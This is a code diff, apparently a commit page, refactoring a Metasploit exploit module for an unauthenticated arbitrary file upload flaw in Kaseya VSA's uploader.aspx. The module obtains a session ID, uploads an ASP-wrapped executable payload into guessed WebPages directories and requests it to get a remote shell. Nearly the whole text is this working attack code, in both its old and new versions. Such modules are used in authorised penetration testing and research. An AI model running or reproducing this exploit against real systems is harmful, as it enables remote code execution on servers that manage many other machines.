@@ -16,11 +16,11 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload' ,
18
18
'Description' => %q{
19
- This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between
20
- 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory
21
- leading to arbitrary code execution with IUSR privileges. This module has been tested with
22
- Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
23
- } ,
19
+ This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
20
+ between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
21
+ directory leading to arbitrary code execution with IUSR privileges. This module has been
22
+ tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
23
+ },
24
24
'Author' =>
25
25
[
26
26
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
@@ -50,29 +50,31 @@ def check
50
50
'method' => 'GET' ,
51
51
'uri' => normalize_uri ( 'ConfigTab' , 'uploader.aspx' )
52
52
} )
53
- if res and res . code == 302 and res . body . to_s =~ /mainLogon\. asp\? logout=([0-9]*)/
54
- return Exploit ::CheckCode ::Appears
53
+
54
+ if res && res . code == 302 && res . body && res . body . to_s =~ /mainLogon\. asp\? logout=([0-9]*)/
55
+ return Exploit ::CheckCode ::Detected
55
56
else
56
57
return Exploit ::CheckCode ::Unknown
57
58
end
58
59
end
59
60
60
61
61
- def upload_file ( payload , path , filename , sessionId )
62
- print_status ( "#{ peer } - Uploading payload to #{ path + 'WebPages\\' } ..." )
62
+ def upload_file ( payload , path , filename , session_id )
63
+ print_status ( "#{ peer } - Uploading payload to #{ path } ..." )
64
+
63
65
res = send_request_cgi ( {
64
- " method" => " POST" ,
65
- 'uri' => normalize_uri ( 'ConfigTab' , 'uploader.aspx' ) ,
66
- " vars_get" => {
67
- " PathData" => path + 'WebPages' + '\\' ,
68
- " qqfile" => filename
66
+ ' method' => ' POST' ,
67
+ 'uri' => normalize_uri ( 'ConfigTab' , 'uploader.aspx' ) ,
68
+ ' vars_get' => {
69
+ ' PathData' => path ,
70
+ ' qqfile' => filename
69
71
} ,
70
- " data" => payload ,
71
- " ctype" => " application/octet-stream" ,
72
- " cookie" => " sessionId=" + sessionId
72
+ ' data' => payload ,
73
+ ' ctype' => ' application/octet-stream' ,
74
+ ' cookie' => ' sessionId=' + session_id
73
75
} )
74
76
75
- if res and res . code == 200 and res . body . to_s =~ / "success": "true"/
77
+ if res && res . code == 200 && res . body && res . body . to_s . include? ( ' "success": "true"' )
76
78
return true
77
79
else
78
80
return false
@@ -85,40 +87,46 @@ def exploit
85
87
'method' => 'GET' ,
86
88
'uri' => normalize_uri ( 'ConfigTab' , 'uploader.aspx' )
87
89
} )
88
- if res and res . code == 302 and res . body . to_s =~ /mainLogon\. asp\? logout=([0-9]*)/
89
- sessionId = $1
90
-
91
- asp_name = "#{ rand_text_alpha_lower ( 8 ) } .asp"
92
- exe = generate_payload_exe
93
- payload = Msf ::Util ::EXE . to_exe_asp ( exe ) . to_s
94
-
95
- paths = [
96
- # We have to guess the path, so just try the most common directories
97
- 'C:\\Kaseya\\' ,
98
- 'C:\\Program Files\\Kaseya\\' ,
99
- 'C:\\Program Files (x86)\\Kaseya\\' ,
100
- 'D:\\Kaseya\\' ,
101
- 'D:\\Program Files\\Kaseya\\' ,
102
- 'D:\\Program Files (x86)\\Kaseya\\' ,
103
- 'E:\\Kaseya\\' ,
104
- 'E:\\Program Files\\Kaseya\\' ,
105
- 'E:\\Program Files (x86)\\Kaseya\\' ,
106
- ]
107
-
108
- for path in paths
109
- if upload_file ( payload , path , asp_name , sessionId )
110
- register_files_for_cleanup ( path + "WebPages\\ " + asp_name )
111
- print_status ( "#{ peer } - Executing payload #{ asp_name } " )
112
- res = send_request_cgi ( {
113
- 'uri' => normalize_uri ( asp_name ) ,
114
- 'method' => 'GET'
115
- } )
116
- handler
117
- break
118
- end
119
- end
90
+
91
+ if res && res . code == 302 && res . body && res . body . to_s =~ /mainLogon\. asp\? logout=([0-9]*)/
92
+ session_id = $1
120
93
else
121
94
fail_with ( Failure ::NoAccess , "#{ peer } - Failed to create a valid session" )
122
95
end
96
+
97
+ asp_name = "#{ rand_text_alpha_lower ( 8 ) } .asp"
98
+ exe = generate_payload_exe
99
+ payload = Msf ::Util ::EXE . to_exe_asp ( exe ) . to_s
100
+
101
+ paths = [
102
+ # We have to guess the path, so just try the most common directories
103
+ 'C:\\Kaseya\\WebPages\\' ,
104
+ 'C:\\Program Files\\Kaseya\\WebPages\\' ,
105
+ 'C:\\Program Files (x86)\\Kaseya\\WebPages\\' ,
106
+ 'D:\\Kaseya\\WebPages\\' ,
107
+ 'D:\\Program Files\\Kaseya\\WebPages\\' ,
108
+ 'D:\\Program Files (x86)\\Kaseya\\WebPages\\' ,
109
+ 'E:\\Kaseya\\WebPages\\' ,
110
+ 'E:\\Program Files\\Kaseya\\WebPages\\' ,
111
+ 'E:\\Program Files (x86)\\Kaseya\\WebPages\\' ,
112
+ ]
113
+
114
+ paths . each do |path |
115
+ if upload_file ( payload , path , asp_name , session_id )
116
+ register_files_for_cleanup ( path + asp_name )
117
+ print_status ( "#{ peer } - Executing payload #{ asp_name } " )
118
+
119
+ send_request_cgi ( {
120
+ 'uri' => normalize_uri ( asp_name ) ,
121
+ 'method' => 'GET'
122
+ } )
123
+
124
+ # Failure. The request timed out or the server went away.
125
+ break if res . nil?
126
+ # Success! Triggered the payload, should have a shell incoming
127
+ break if res . code == 200
128
+ end
129
+ end
130
+
123
131
end
124
132
end
0 commit comments